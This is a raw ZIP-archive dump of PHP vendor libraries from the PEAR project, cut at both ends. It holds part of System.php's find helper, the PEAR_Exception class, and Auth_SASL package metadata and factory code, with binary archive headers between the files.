                array_unshift($exe_suffixes, '');
            }
        } else {
            $exe_suffixes = array('');
        }

        foreach ($exe_suffixes as $suff) {
            foreach ($path_elements as $dir) {
                $file = $dir . DIRECTORY_SEPARATOR . $program . $suff;
                // It's possible to run a .bat on Windows that is_executable
                // would return false for. The is_executable check is meaningless...
                if (OS_WINDOWS) {
                    if (file_exists($file)) {
                        return $file;
                    }
                } else {
                    if (is_executable($file)) {
                        return $file;
                    }
                }
            }
        }
        return $fallback;
    }

    /**
     * The "find" command
     *
     * Usage:
     *
     * System::find($dir);
     * System::find("$dir -type d");
     * System::find("$dir -type f");
     * System::find("$dir -name *.php");
     * System::find("$dir -name *.php -name *.htm*");
     * System::find("$dir -maxdepth 1");
     *
     * Params implemented:
     * $dir            -> Start the search at this directory
     * -type d         -> return only directories
     * -type f         -> return only files
     * -maxdepth <n>   -> max depth of recursion
     * -name <pattern> -> search pattern (bash style). Multiple -name param allowed
     *
     * @param  mixed Either array or string with the command line
     * @return array Array of found files
     */
    public static function find($args)
    {
        if (!is_array($args)) {
            $args = preg_split('/\s+/', $args, -1, PREG_SPLIT_NO_EMPTY);
        }
        $dir = realpath(array_shift($args));
        if (!$dir) {
            return array();
        }
        $patterns = array();
        $depth = 0;
        $do_files = $do_dirs = true;
        $args_count = count($args);
        for ($i = 0; $i < $args_count; $i++) {
            switch ($args[$i]) {
                case '-type':
                    if (in_array($args[$i+1], array('d', 'f'))) {
                        if ($args[$i+1] == 'd') {
                            $do_files = false;
                        } else {
                            $do_dirs = false;
                        }
                    }
                    $i++;
                    break;
                case '-name':
                    $name = preg_quote($args[$i+1], '#');
                    // our magic characters ? and * have just been escaped,
                    // so now we change the escaped versions to PCRE operators
                    $name = strtr($name, array('\?' => '.', '\*' => '.*'));
                    $patterns[] = '('.$name.')';
                    $i++;
                    break;
                case '-maxdepth':
                    $depth = $args[$i+1];
                    break;
            }
        }
        $path = System::_dirToStruct($dir, $depth, 0, true);
        if ($do_files && $do_dirs) {
            $files = array_merge($path['files'], $path['dirs']);
        } elseif ($do_dirs) {
            $files = $path['dirs'];
        } else {
            $files = $path['files'];
        }
        if (count($patterns)) {
            $dsq = preg_quote(DIRECTORY_SEPARATOR, '#');
            $pattern = '#(^|'.$dsq.')'.implode('|', $patterns).'($|'.$dsq.')#';
            $ret = array();
            $files_count = count($files);
            for ($i = 0; $i < $files_count; $i++) {
                // only search in the part of the file below the current directory
                $filepart = basename($files[$i]);
                if (preg_match($pattern, $filepart)) {
                    $ret[] = $files[$i];
                }
            }
            return $ret;
        }
        return $files;
    }
}
PK
h�\-�y66+vendor/pear/pear-core-minimal/composer.jsonnu�[���{
    "name": "pear/pear-core-minimal",
    "description": "Minimal set of PEAR core files to be used as composer dependency",
    "license": "BSD-3-Clause",
    "authors": [
        {
            "email": "cweiske@php.net",
            "name": "Christian Weiske",
            "role": "Lead"
        }
    ],
    "autoload": {
        "classmap": [
            "src/"
        ]
    },
    "include-path": [
        "src/"
    ],
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR",
        "source": "https://github.com/pear/pear-core-minimal"
    },
    "type": "library",
    "require": {
        "php": ">=5.4",
        "pear/console_getopt": "~1.4",
        "pear/pear_exception": "~1.0"
    },
    "replace": {
        "rsky/pear-core-min": "self.version"
    }
}
PK
h�\B����(vendor/pear/pear-core-minimal/README.rstnu�[���******************************
Minimal set of PEAR core files
******************************

This repository provides a set of files from ``pear-core``
that are often used in PEAR packages.

It follows the `pear-core`__ repository and gets updated whenever a new
PEAR version is released.

It's meant to be used as dependency for composer packages.

__ https://github.com/pear/pear-core

==============
Included files
==============
- ``OS/Guess.php``
- ``PEAR.php``
- ``PEAR/ErrorStack.php``
- ``System.php``
PK
h�\�3����(vendor/pear/pear_exception/composer.jsonnu�[���{
    "name": "pear/pear_exception",
    "description": "The PEAR Exception base class.",
    "type": "class",
    "keywords": [
        "exception"
    ],
    "homepage": "https://github.com/pear/PEAR_Exception",
    "license": "BSD-2-Clause",
    "authors": [
        {
            "name": "Helgi Thormar",
            "email": "dufuz@php.net"
        },
        {
            "name": "Greg Beaver",
            "email": "cellog@php.net"
        }
    ],
    "require": {
        "php": ">=5.2.0"
    },
    "autoload": {
        "classmap": ["PEAR/"]
    },
    "extra": {
        "branch-alias": {
            "dev-master": "1.0.x-dev"
        }
    },
    "include-path": [
        "."
    ],
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR_Exception",
        "source": "https://github.com/pear/PEAR_Exception"
    },
    "require-dev": {
        "phpunit/phpunit": "<9"
    }
}
PK
h�\�u����"vendor/pear/pear_exception/LICENSEnu�[���Copyright (c) 1997-2009,
 Stig Bakken <ssb@php.net>,
 Gregory Beaver <cellog@php.net>,
 Helgi Þormar Þorbjörnsson <helgi@php.net>,
 Tomas V.V.Cox <cox@idecnet.com>,
 Martin Jansen <mj@php.net>.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK
h�\��_�)<)<-vendor/pear/pear_exception/PEAR/Exception.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 foldmethod=marker: */
/**
 * PEAR_Exception
 *
 * PHP version 5
 *
 * @category  PEAR
 * @package   PEAR_Exception
 * @author    Tomas V. V. Cox <cox@idecnet.com>
 * @author    Hans Lellelid <hans@velum.net>
 * @author    Bertrand Mansion <bmansion@mamasam.com>
 * @author    Greg Beaver <cellog@php.net>
 * @copyright 1997-2009 The Authors
 * @license   http://opensource.org/licenses/bsd-license.php New BSD License
 * @link      http://pear.php.net/package/PEAR_Exception
 * @since     File available since Release 1.0.0
 */


/**
 * Base PEAR_Exception Class
 *
 * 1) Features:
 *
 * - Nestable exceptions (throw new PEAR_Exception($msg, $prev_exception))
 * - Definable triggers, shot when exceptions occur
 * - Pretty and informative error messages
 * - Added more context info available (like class, method or cause)
 * - cause can be a PEAR_Exception or an array of mixed
 *   PEAR_Exceptions/PEAR_ErrorStack warnings
 * - callbacks for specific exception classes and their children
 *
 * 2) Ideas:
 *
 * - Maybe a way to define a 'template' for the output
 *
 * 3) Inherited properties from PHP Exception Class:
 *
 * protected $message
 * protected $code
 * protected $line
 * protected $file
 * private   $trace
 *
 * 4) Inherited methods from PHP Exception Class:
 *
 * __clone
 * __construct
 * getMessage
 * getCode
 * getFile
 * getLine
 * getTraceSafe
 * getTraceSafeAsString
 * __toString
 *
 * 5) Usage example
 *
 * <code>
 *  require_once 'PEAR/Exception.php';
 *
 *  class Test {
 *     function foo() {
 *         throw new PEAR_Exception('Error Message', ERROR_CODE);
 *     }
 *  }
 *
 *  function myLogger($pear_exception) {
 *     echo $pear_exception->getMessage();
 *  }
 *  // each time a exception is thrown the 'myLogger' will be called
 *  // (its use is completely optional)
 *  PEAR_Exception::addObserver('myLogger');
 *  $test = new Test;
 *  try {
 *     $test->foo();
 *  } catch (PEAR_Exception $e) {
 *     print $e;
 *  }
 * </code>
 *
 * @category  PEAR
 * @package   PEAR_Exception
 * @author    Tomas V.V.Cox <cox@idecnet.com>
 * @author    Hans Lellelid <hans@velum.net>
 * @author    Bertrand Mansion <bmansion@mamasam.com>
 * @author    Greg Beaver <cellog@php.net>
 * @copyright 1997-2009 The Authors
 * @license   http://opensource.org/licenses/bsd-license.php New BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/PEAR_Exception
 * @since     Class available since Release 1.0.0
 */
class PEAR_Exception extends Exception
{
    const OBSERVER_PRINT = -2;
    const OBSERVER_TRIGGER = -4;
    const OBSERVER_DIE = -8;
    protected $cause;
    private static $_observers = array();
    private static $_uniqueid = 0;
    private $_trace;

    /**
     * Supported signatures:
     *  - PEAR_Exception(string $message);
     *  - PEAR_Exception(string $message, int $code);
     *  - PEAR_Exception(string $message, Exception $cause);
     *  - PEAR_Exception(string $message, Exception $cause, int $code);
     *  - PEAR_Exception(string $message, PEAR_Error $cause);
     *  - PEAR_Exception(string $message, PEAR_Error $cause, int $code);
     *  - PEAR_Exception(string $message, array $causes);
     *  - PEAR_Exception(string $message, array $causes, int $code);
     *
     * @param string                              $message exception message
     * @param int|Exception|PEAR_Error|array|null $p2      exception cause
     * @param int|null                            $p3      exception code or null
     */
    public function __construct($message, $p2 = null, $p3 = null)
    {
        if (is_int($p2)) {
            $code = $p2;
            $this->cause = null;
        } elseif (is_object($p2) || is_array($p2)) {
            // using is_object allows both Exception and PEAR_Error
            if (is_object($p2) && !($p2 instanceof Exception)) {
                if (!class_exists('PEAR_Error') || !($p2 instanceof PEAR_Error)) {
                    throw new PEAR_Exception(
                        'exception cause must be Exception, ' .
                        'array, or PEAR_Error'
                    );
                }
            }
            $code = $p3;
            if (is_array($p2) && isset($p2['message'])) {
                // fix potential problem of passing in a single warning
                $p2 = array($p2);
            }
            $this->cause = $p2;
        } else {
            $code = null;
            $this->cause = null;
        }
        parent::__construct($message, (int) $code);
        $this->signal();
    }

    /**
     * Add an exception observer
     *
     * @param mixed  $callback - A valid php callback, see php func is_callable()
     *                         - A PEAR_Exception::OBSERVER_* constant
     *                         - An array(const PEAR_Exception::OBSERVER_*,
     *                           mixed $options)
     * @param string $label    The name of the observer. Use this if you want
     *                         to remove it later with removeObserver()
     *
     * @return void
     */
    public static function addObserver($callback, $label = 'default')
    {
        self::$_observers[$label] = $callback;
    }

    /**
     * Remove an exception observer
     *
     * @param string $label Name of the observer
     *
     * @return void
     */
    public static function removeObserver($label = 'default')
    {
        unset(self::$_observers[$label]);
    }

    /**
     * Generate a unique ID for an observer
     *
     * @return int unique identifier for an observer
     */
    public static function getUniqueId()
    {
        return self::$_uniqueid++;
    }

    /**
     * Send a signal to all observers
     *
     * @return void
     */
    protected function signal()
    {
        foreach (self::$_observers as $func) {
            if (is_callable($func)) {
                call_user_func($func, $this);
                continue;
            }
            settype($func, 'array');
            switch ($func[0]) {
            case self::OBSERVER_PRINT :
                $f = (isset($func[1])) ? $func[1] : '%s';
                printf($f, $this->getMessage());
                break;
            case self::OBSERVER_TRIGGER :
                $f = (isset($func[1])) ? $func[1] : E_USER_NOTICE;
                trigger_error($this->getMessage(), $f);
                break;
            case self::OBSERVER_DIE :
                $f = (isset($func[1])) ? $func[1] : '%s';
                die(printf($f, $this->getMessage()));
                break;
            default:
                trigger_error('invalid observer type', E_USER_WARNING);
            }
        }
    }

    /**
     * Return specific error information that can be used for more detailed
     * error messages or translation.
     *
     * This method may be overridden in child exception classes in order
     * to add functionality not present in PEAR_Exception and is a placeholder
     * to define API
     *
     * The returned array must be an associative array of parameter => value like so:
     * <pre>
     * array('name' => $name, 'context' => array(...))
     * </pre>
     *
     * @return array
     */
    public function getErrorData()
    {
        return array();
    }

    /**
     * Returns the exception that caused this exception to be thrown
     *
     * @return Exception|array The context of the exception
     */
    public function getCause()
    {
        return $this->cause;
    }

    /**
     * Function must be public to call on caused exceptions
     *
     * @param array $causes Array that gets filled.
     *
     * @return void
     */
    public function getCauseMessage(&$causes)
    {
        $trace = $this->getTraceSafe();
        $cause = array('class'   => get_class($this),
                       'message' => $this->message,
                       'file' => 'unknown',
                       'line' => 'unknown');
        if (isset($trace[0])) {
            if (isset($trace[0]['file'])) {
                $cause['file'] = $trace[0]['file'];
                $cause['line'] = $trace[0]['line'];
            }
        }
        $causes[] = $cause;
        if ($this->cause instanceof PEAR_Exception) {
            $this->cause->getCauseMessage($causes);
        } elseif ($this->cause instanceof Exception) {
            $causes[] = array('class'   => get_class($this->cause),
                              'message' => $this->cause->getMessage(),
                              'file' => $this->cause->getFile(),
                              'line' => $this->cause->getLine());
        } elseif (class_exists('PEAR_Error') && $this->cause instanceof PEAR_Error) {
            $causes[] = array('class' => get_class($this->cause),
                              'message' => $this->cause->getMessage(),
                              'file' => 'unknown',
                              'line' => 'unknown');
        } elseif (is_array($this->cause)) {
            foreach ($this->cause as $cause) {
                if ($cause instanceof PEAR_Exception) {
                    $cause->getCauseMessage($causes);
                } elseif ($cause instanceof Exception) {
                    $causes[] = array('class'   => get_class($cause),
                                   'message' => $cause->getMessage(),
                                   'file' => $cause->getFile(),
                                   'line' => $cause->getLine());
                } elseif (class_exists('PEAR_Error')
                    && $cause instanceof PEAR_Error
                ) {
                    $causes[] = array('class' => get_class($cause),
                                      'message' => $cause->getMessage(),
                                      'file' => 'unknown',
                                      'line' => 'unknown');
                } elseif (is_array($cause) && isset($cause['message'])) {
                    // PEAR_ErrorStack warning
                    $causes[] = array(
                        'class' => $cause['package'],
                        'message' => $cause['message'],
                        'file' => isset($cause['context']['file']) ?
                                            $cause['context']['file'] :
                                            'unknown',
                        'line' => isset($cause['context']['line']) ?
                                            $cause['context']['line'] :
                                            'unknown',
                    );
                }
            }
        }
    }

    /**
     * Build a backtrace and return it
     *
     * @return array Backtrace
     */
    public function getTraceSafe()
    {
        if (!isset($this->_trace)) {
            $this->_trace = $this->getTrace();
            if (empty($this->_trace)) {
                $backtrace = debug_backtrace();
                $this->_trace = array($backtrace[count($backtrace)-1]);
            }
        }
        return $this->_trace;
    }

    /**
     * Gets the first class of the backtrace
     *
     * @return string Class name
     */
    public function getErrorClass()
    {
        $trace = $this->getTraceSafe();
        return $trace[0]['class'];
    }

    /**
     * Gets the first method of the backtrace
     *
     * @return string Method/function name
     */
    public function getErrorMethod()
    {
        $trace = $this->getTraceSafe();
        return $trace[0]['function'];
    }

    /**
     * Converts the exception to a string (HTML or plain text)
     *
     * @return string String representation
     *
     * @see toHtml()
     * @see toText()
     */
    public function __toString()
    {
        if (isset($_SERVER['REQUEST_URI'])) {
            return $this->toHtml();
        }
        return $this->toText();
    }

    /**
     * Generates a HTML representation of the exception
     *
     * @return string HTML code
     */
    public function toHtml()
    {
        $trace = $this->getTraceSafe();
        $causes = array();
        $this->getCauseMessage($causes);
        $html =  '<table style="border: 1px" cellspacing="0">' . "\n";
        foreach ($causes as $i => $cause) {
            $html .= '<tr><td colspan="3" style="background: #ff9999">'
               . str_repeat('-', $i) . ' <b>' . $cause['class'] . '</b>: '
               . htmlspecialchars($cause['message'])
                . ' in <b>' . $cause['file'] . '</b> '
               . 'on line <b>' . $cause['line'] . '</b>'
               . "</td></tr>\n";
        }
        $html .= '<tr><td colspan="3" style="background-color: #aaaaaa; text-align: center; font-weight: bold;">Exception trace</td></tr>' . "\n"
               . '<tr><td style="text-align: center; background: #cccccc; width:20px; font-weight: bold;">#</td>'
               . '<td style="text-align: center; background: #cccccc; font-weight: bold;">Function</td>'
               . '<td style="text-align: center; background: #cccccc; font-weight: bold;">Location</td></tr>' . "\n";

        foreach ($trace as $k => $v) {
            $html .= '<tr><td style="text-align: center;">' . $k . '</td>'
                   . '<td>';
            if (!empty($v['class'])) {
                $html .= $v['class'] . $v['type'];
            }
            $html .= $v['function'];
            $args = array();
            if (!empty($v['args'])) {
                foreach ($v['args'] as $arg) {
                    if (is_null($arg)) {
                        $args[] = 'null';
                    } else if (is_array($arg)) {
                        $args[] = 'Array';
                    } else if (is_object($arg)) {
                        $args[] = 'Object('.get_class($arg).')';
                    } else if (is_bool($arg)) {
                        $args[] = $arg ? 'true' : 'false';
                    } else if (is_int($arg) || is_double($arg)) {
                        $args[] = $arg;
                    } else {
                        $arg = (string)$arg;
                        $str = htmlspecialchars(substr($arg, 0, 16));
                        if (strlen($arg) > 16) {
                            $str .= '&hellip;';
                        }
                        $args[] = "'" . $str . "'";
                    }
                }
            }
            $html .= '(' . implode(', ', $args) . ')'
                   . '</td>'
                   . '<td>' . (isset($v['file']) ? $v['file'] : 'unknown')
                   . ':' . (isset($v['line']) ? $v['line'] : 'unknown')
                   . '</td></tr>' . "\n";
        }
        $html .= '<tr><td style="text-align: center;">' . ($k+1) . '</td>'
               . '<td>{main}</td>'
               . '<td>&nbsp;</td></tr>' . "\n"
               . '</table>';
        return $html;
    }

    /**
     * Generates text representation of the exception and stack trace
     *
     * @return string
     */
    public function toText()
    {
        $causes = array();
        $this->getCauseMessage($causes);
        $causeMsg = '';
        foreach ($causes as $i => $cause) {
            $causeMsg .= str_repeat(' ', $i) . $cause['class'] . ': '
                   . $cause['message'] . ' in ' . $cause['file']
                   . ' on line ' . $cause['line'] . "\n";
        }
        return $causeMsg . $this->getTraceAsString();
    }
}
?>
PK
h�\�5oI��#vendor/pear/auth_sasl/composer.jsonnu�[���{
    "authors": [
        {
            "email": "amistry@am-productions.biz",
            "name": "Anish Mistry",
            "role": "Lead"
        },
        {
            "email": "richard@php.net",
            "name": "Richard Heyes",
            "role": "Lead"
        },
        {
            "email": "michael@bretterklieber.com",
            "name": "Michael Bretterklieber",
            "role": "Lead"
        }
    ],
    "autoload": {
        "psr-0": {
            "Auth": "./"
        }
    },
    "description": "Abstraction of various SASL mechanism responses",
    "include-path": [
        "./"
    ],
    "license": "BSD",
    "name": "pear/auth_sasl",
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Auth_SASL",
        "source": "https://github.com/pear/Auth_SASL"
    },
    "type": "library",
    "require": {
        "pear/pear_exception": "@stable"
    },
    "require-dev": {
        "phpunit/phpunit": "@stable"
    }
}
PK
h�\cd��\\!vendor/pear/auth_sasl/package.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0"
 xmlns="http://pear.php.net/dtd/package-2.0"
 xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
  http://pear.php.net/dtd/tasks-1.0.xsd
  http://pear.php.net/dtd/package-2.0
  http://pear.php.net/dtd/package-2.0.xsd"
>
 <name>Auth_SASL</name>
 <channel>pear.php.net</channel>
 <summary>Abstraction of various SASL mechanism responses</summary>
 <description>
Provides code to generate responses to common SASL mechanisms, including:
- Digest-MD5
- Cram-MD5
- Plain
- Anonymous
- Login (Pseudo mechanism)
- SCRAM
 </description>

 <lead>
  <name>Anish Mistry</name>
  <user>amistry</user>
  <email>amistry@am-productions.biz</email>
  <active>no</active>
 </lead>
 <lead>
  <name>Richard Heyes</name>
  <user>richard</user>
  <email>richard@php.net</email>
  <active>no</active>
 </lead>
 <lead>
  <name>Michael Bretterklieber</name>
  <user>mbretter</user>
  <email>michael@bretterklieber.com</email>
  <active>no</active>
 </lead>

 <date>2017-03-07</date>
 <version>
  <release>1.1.0</release>
  <api>1.1.0</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
 <notes>
* Set minimum PHP version to 5.4.0
* Set minimum PEAR version to 1.10.1

* Request #21033: PHP warning depreciated
 </notes>

 <contents>
  <dir name="/">
   <dir name="Auth">
    <dir name="SASL">
     <file name="Anonymous.php" role="php" />
     <file name="Common.php" role="php" />
     <file name="CramMD5.php" role="php" />
     <file name="DigestMD5.php" role="php" />
     <file name="External.php" role="php" />
     <file name="Login.php" role="php" />
     <file name="Plain.php" role="php" />
     <file name="SCRAM.php" role="php" />
    </dir> <!-- //SASL -->
    <file name="SASL.php" role="php" />
   </dir><!-- /Auth -->
  </dir> <!-- / -->
 </contents>

 <dependencies>
  <required>
   <php>
    <min>5.4.0</min>
   </php>
   <pearinstaller>
    <min>1.10.1</min>
   </pearinstaller>
  </required>
 </dependencies>

 <phprelease />

 <changelog>

  <release>
   <version>
    <release>1.1.0</release>
    <api>1.1.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2017-03-07</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
* Set minimum PHP version to 5.4.0
* Set minimum PEAR version to 1.10.1

* Request #21033: PHP warning depreciated
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.6</release>
    <api>1.0.3</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2011-09-27</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
QA release
* Bug #18856: Authentication warnings because of wrong Auth_SASL::factory argument [kguest]
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.5</release>
    <api>1.0.3</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2011-09-04</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
QA release
* Added support for any mechanism of the SCRAM family; with thanks to Jehan Pagès. [kguest]
* crammd5 and digestmd5 mechanisms name deprecated in favour of IANA registered names 'cram-md5' and 'digest-md5'; with thanks to Jehan Pagès. [kguest]
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.4</release>
    <api>1.0.3</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2010-02-07</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
QA release
* Fix bug #16624: open_basedir restriction warning in DigestMD5.php [till]
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.3</release>
    <api>1.0.3</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2009-08-05</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
QA release
* Move SVN to proper directory structure [cweiske]
* Fix Bug #8775: Error in package.xml
* Fix Bug #14671: Security issue due to seeding random number generator [cweiske]
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.2</release>
    <api>1.0.2</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2006-05-21</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>
* Fixed Bug #2143 Auth_SASL_DigestMD5::getResponse() generates invalid response
* Fixed Bug #6611 Suppress PHP 5 Notice Errors
* Fixed Bug #2154 realm isn't contained in challange
   </notes>
  </release>

  <release>
   <version>
    <release>1.0.1</release>
    <api>1.0.1</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2003-09-11</date>
   <license uri="http://www.opensource.org/licenses/bsd-license.php">BSD</license>
   <notes>* Added authcid/authzid separation in PLAIN and DIGEST-MD5.
   </notes>
  </release>

 </changelog>
</package>
PK
h�\2r����#vendor/pear/auth_sasl/Auth/SASL.phpnu�[���<?php
// +-----------------------------------------------------------------------+
// | Copyright (c) 2002-2003 Richard Heyes                                 |
// | All rights reserved.                                                  |
// |                                                                       |
// | Redistribution and use in source and binary forms, with or without    |
// | modification, are permitted provided that the following conditions    |
// | are met:                                                              |
// |                                                                       |
// | o Redistributions of source code must retain the above copyright      |
// |   notice, this list of conditions and the following disclaimer.       |
// | o Redistributions in binary form must reproduce the above copyright   |
// |   notice, this list of conditions and the following disclaimer in the |
// |   documentation and/or other materials provided with the distribution.|
// | o The names of the authors may not be used to endorse or promote      |
// |   products derived from this software without specific prior written  |
// |   permission.                                                         |
// |                                                                       |
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   |
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     |
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  |
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      |
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   |
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  |
// |                                                                       |
// +-----------------------------------------------------------------------+
// | Author: Richard Heyes <richard@php.net>                               |
// +-----------------------------------------------------------------------+
//
// $Id$

/**
* Client implementation of various SASL mechanisms
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('PEAR.php');

class Auth_SASL
{
    /**
    * Factory class. Returns an object of the request
    * type.
    *
    * @param string $type One of: Anonymous
    *                             Plain
    *                             CramMD5
    *                             DigestMD5
    *                             SCRAM-* (any mechanism of the SCRAM family)
    *                     Types are not case sensitive
    */
    public static function factory($type)
    {
        switch (strtolower($type)) {
            case 'anonymous':
                $filename  = 'Auth/SASL/Anonymous.php';
                $classname = 'Auth_SASL_Anonymous';
                break;

            case 'login':
                $filename  = 'Auth/SASL/Login.php';
                $classname = 'Auth_SASL_Login';
                break;

            case 'plain':
                $filename  = 'Auth/SASL/Plain.php';
                $classname = 'Auth_SASL_Plain';
                break;

            case 'external':
                $filename  = 'Auth/SASL/External.php';
                $classname = 'Auth_SASL_External';
                break;

            case 'crammd5':
                // $msg = 'Deprecated mechanism name. Use IANA-registered name: CRAM-MD5.';
                // trigger_error($msg, E_USER_DEPRECATED);
            case 'cram-md5':
                $filename  = 'Auth/SASL/CramMD5.php';
                $classname = 'Auth_SASL_CramMD5';
                break;

            case 'digestmd5':
                // $msg = 'Deprecated mechanism name. Use IANA-registered name: DIGEST-MD5.';
                // trigger_error($msg, E_USER_DEPRECATED);
            case 'digest-md5':
                // $msg = 'DIGEST-MD5 is a deprecated SASL mechanism as per RFC-6331. Using it could be a security risk.';
                // trigger_error($msg, E_USER_NOTICE);
                $filename  = 'Auth/SASL/DigestMD5.php';
                $classname = 'Auth_SASL_DigestMD5';
                break;

            default:
                $scram = '/^SCRAM-(.{1,9})$/i';
                if (preg_match($scram, $type, $matches))
                {
                    $hash = $matches[1];
                    $filename = dirname(__FILE__) .'/SASL/SCRAM.php';
                    $classname = 'Auth_SASL_SCRAM';
                    $parameter = $hash;
                    break;
                }
                return PEAR::raiseError('Invalid SASL mechanism type');
                break;
        }

        require_once($filename);
        if (isset($parameter))
            $obj = new $classname($parameter);
        else
            $obj = new $classname();
        return $obj;
    }
}

?>
PK
h�\����==)vendor/pear/auth_sasl/Auth/SASL/Plain.phpnu�[���<?php
// +-----------------------------------------------------------------------+ 
// | Copyright (c) 2002-2003 Richard Heyes                                 | 
// | All rights reserved.                                                  | 
// |                                                                       | 
// | Redistribution and use in source and binary forms, with or without    | 
// | modification, are permitted provided that the following conditions    | 
// | are met:                                                              | 
// |                                                                       | 
// | o Redistributions of source code must retain the above copyright      | 
// |   notice, this list of conditions and the following disclaimer.       | 
// | o Redistributions in binary form must reproduce the above copyright   | 
// |   notice, this list of conditions and the following disclaimer in the | 
// |   documentation and/or other materials provided with the distribution.| 
// | o The names of the authors may not be used to endorse or promote      | 
// |   products derived from this software without specific prior written  | 
// |   permission.                                                         | 
// |                                                                       | 
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   | 
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     | 
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | 
// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  | 
// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | 
// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      | 
// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | 
// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | 
// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   | 
// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | 
// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  | 
// |                                                                       | 
// +-----------------------------------------------------------------------+ 
// | Author: Richard Heyes <richard@php.net>                               | 
// +-----------------------------------------------------------------------+ 
// 
// $Id$

/**
* Implmentation of PLAIN SASL mechanism
*
* @author  Richard Heyes <richard@php.net>
* @access  public
* @version 1.0
* @package Auth_SASL
*/

require_once('Auth/SASL/Common.php');

class Auth_SASL_Plain extends Auth_SASL_Common
